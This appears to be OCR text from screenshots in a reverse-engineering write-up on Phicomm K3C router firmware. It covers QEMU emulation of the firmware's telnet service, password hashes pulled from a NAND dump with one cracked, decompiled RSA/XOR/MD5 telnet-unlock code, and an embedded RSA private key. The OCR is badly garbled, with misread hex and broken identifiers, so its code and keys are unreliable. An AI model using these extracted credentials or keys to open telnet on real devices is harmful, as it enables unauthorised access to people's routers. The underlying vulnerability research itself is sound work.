"'49B689198C4A0D88FDO29CCECDDFFIC1491FFB7893C11FAD69987DBA15FF11C7F1D570963FA38258"
"6AE92815388B3E03",
"010001") ;

return DL;
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[t-rec]: Press Ctrl+D to end recording

Clock overturned when he fell forward. That'll give us the time of the crime.

Twenty-two minutes past six.

- The Murder at the Vicarage, by Agatha Christie

[morrison@chicken]$ cat Dockerfile

File: Dockerfile

FROM multiarch/debian-debootstrap:mips-buster-slim as gemu

FROM scratch

ADD . /firmware.bak.tar.gz /

COPY --from=qemu /usr/bin/qemu-mips-static /q
ADD ./qemu-mips.binfmt /proc/sys/fs/binfmt_misc

EXPOSE 80
EXPOSE 21210/udp
EXPOSE 23

CMD ["/q", "/usr/bin/telnetd_startup"]
ENV ARCH=mips

[morrison@chicken]$ docker build -t k3c-user . &&
p 21210:21210/udp k3c-user
Bending build context to Docker daemon 81.89MB

container run --rm -d -p 23:23 -
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device nand® <17c00000.nand-parts>, # parts = 10
#: name size offset mask_flags
uboot 0x100000 0x0
ubootconfigA 0x40000 0x100000
ubootconfigB 0x40000 0x140000
gphyfirmware 0x40000 0x180000
calibration 0x100000 0x1c0000
: bootcore 0x1000000 0x2c0000
: pro_info 0x40000 0x12c0000 0
dev_info 0x40000 0x1300000 0
system_sw 0x6c00000 0x1340000
9sires 0xc0000 0x7f40000 0

0
0
0
0

lactive partition: nand®,0 - (uboot) 0x100000 @ 0x0

: nand@=17c00000.nand-parts
Imtdparts: mtdparts=17c00000.nand-parts:1im(uboot),256k(ubootconfigA)
,256k (ubootconfigB),256k(gphyfirmware),im(calibration),16m(bootcore
) ,256k(pro_info),256k(dev_info),108m(system_sw),-(res)
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[ morrison@chicken 1$ strings phicomm-k3c-nand.bin | grep "root:"
root:$1$b2rtJeVs$grBhCpK.QCOOV1OLLq4dMO:0:0: root: /: /bin/sh
admin::0:0:root:/:/bin/sh

root:$1$LvX7uoLw$iJtpRLIUTKLhNAjr.h670. root:/:/bin/sh
admin:$1$Xg3Rr1gGs0k8dINISOhS1gNEWAGACd. :0:0: root: /: /bin/sh

[ morrison@chicken 1$ []





image51.png
File: found.txt

$1$LvX7uoLw$1JtpRLIUTKLhNAjr.h670. :admin
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uvar4

if ((local_190.fds_bits[sockfd >> 5] >> (sockfd & 0x1f) & 1U) != 0) {
memset (auStackese, 0, 0x100) ;

n

= recvfrom(__fd, austacke56, 0+100, 0100, &sStackd2, &local_3c) ;

IF (_n != OXFFFFFFER) {

if (status

QY |
memset (recvEncData, 0, 0x80) ;
memcpy (recvEncData, austackess,
ivar2 = rsa_public_decrypt()
if (ivar2 = 0) {
status = 1;
gen_rand() ;
rsa_public_encrypt();
sendto(sockfd, sendEncData, 0x80, 0, &sStack92, local_3c) ;
xor();
mdS_command () ;
goto LAB_000121fc;

nl;
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lioid xor (void)

{

int ivarl;

byte *pbvar2;
byte *pbvar
byte *pbvara;

ivarl
do {
pbVar4 = recvbechata + ivarl;
pbvar3 = sendDechata + ivarl;
pbvar2 = xorData + ivarl;
ivarl = ivarl + 1;
*pbVar2 = *pbvara ~ *pbvar3;
} while (ivarl != 0x20);
return;
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Listing: telnetd_startup kSC33DNL. 1 WIS

“socket*

620
6oh
6eh
64h

1

1

lundef ineda mds_command(void)

size t svarl;
char acStack1128 [512];
char acStack616 [%12];
undefined auStack10d (5413

nenset (austack104, 0, 0159)
Sprintf(acStack1128, PTR_00025094 + Oxdbbc, xorData);
Sprintf(acstack616,PTR_00025094 + Oxdbcd, xorData)
HDSInit(auStack104) ;

svarl = strien(acstack1128);

MDSUpdate (austack104, acStack 1126, sVarl) ;

MDSFinal (auStack104, cnd_pern_dig);
HDSTnit(austack104) ;

svar1 Len(acstack616) ;.

MDSUpdate (auStack104, acStack16, sVarl) ;

MDSFinal (auStack104, cnd_temp_dig);

return 0;
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BN_hex2bn (&public_c,
"CC232B9BBOECASEA1BDDODE 1 EF9926872B3816694AC677C8C581E1B4F5912891 2CBBI2EB363990FAE435657
78B58FA170FB1EBF3D1E88B7FEBA3DCA7ESICFSF3C3064F62E504A12C5240FB85BE727316C10EFF23CB2DCES

73376D0CB6158C72F6529A90127860000820443CA44FSF445EDAEDO344AC2B1F6CC124D9ED309A519"

);
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BN_hex2bn(&public_c,
" CC232B9BBOGCAIEA1 BODODE] EF992687 28381 6634AC677CECSB1E1B4F591 2891 20BBI2EB363990FAE4 35697
78B58FA170FB1EBF3D1 EBBB7F6BA3DCA7ESOCFSF3C3064F62E504A1 2C5240FBE5BE7 2731 6CLOEFF23CB2DCES
73376D0CB6158C72F6529A901 2786000D820443CA44F 9F 445EDAEDO344AC2B1 F6CC] 24DOED309A519"
H
BN_hex2bn (8secret_d,
" 9F CBFFBF53AECFB461DEFBO8DB1 486ASD2DEE 41737 7BA1 6781 21 8FBAE23BB1F3766732FBD382E15543FC29
80208D968E7AE] ACAB48F53719F6D9964E 583408791 150B9C0C3541 43AE 28556 7DBC042240CABD7 AGA46EASC
CAFS75ACC63C55BACBCF5B6A77DEEOSBOES0C2BFEBE 2C06ACA4SEOFDOB31D1 BB0CE7 2BCOBS65313C"
i
rsa-se = a;
rsa->d = secret_d;
rsa->n = public_c;
memset (§DECRYPTED_CLIENT_DATA, 0, 0x400) ;
uvarl = RSA_public_decrypt(param_1,param_2, &DECRYPTED_CLIENT_DATA,rsa,3);
if (uvarl < 0x101) {
sVar2 = strien(&DECRYPTED_CLIENT_DATA) ;
iVar3 = -(svar2 < 0x101 ~ 1);

b

else {
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it mds_command (void)

{
size_t svarl;
char temp_key [512];
char perp_key [512];
undefined hasher [35];

menset (hasher, 0, 0¢58) ;

sprintf (perp_key, "s+PERP" , GDECRYPTED_CLIENT_DATA) ;
sprintf (temp_key, "s+TEMP", &DECRYPTED_CLIENT_DATA) ;
md5_init (hasher) ;

svarl = strlen(perp_key);

md5_add (hasher, perp_key, sVar1) ;

mds_final (hasher, 6PERP_KEY) ;

mds_init (hasher) ;

svarl = strlen(temp_key);

mds_add (hasher, temp_key, sVar1) ;

mds_final (hasher, &TEMP_KEY) ;

return O;
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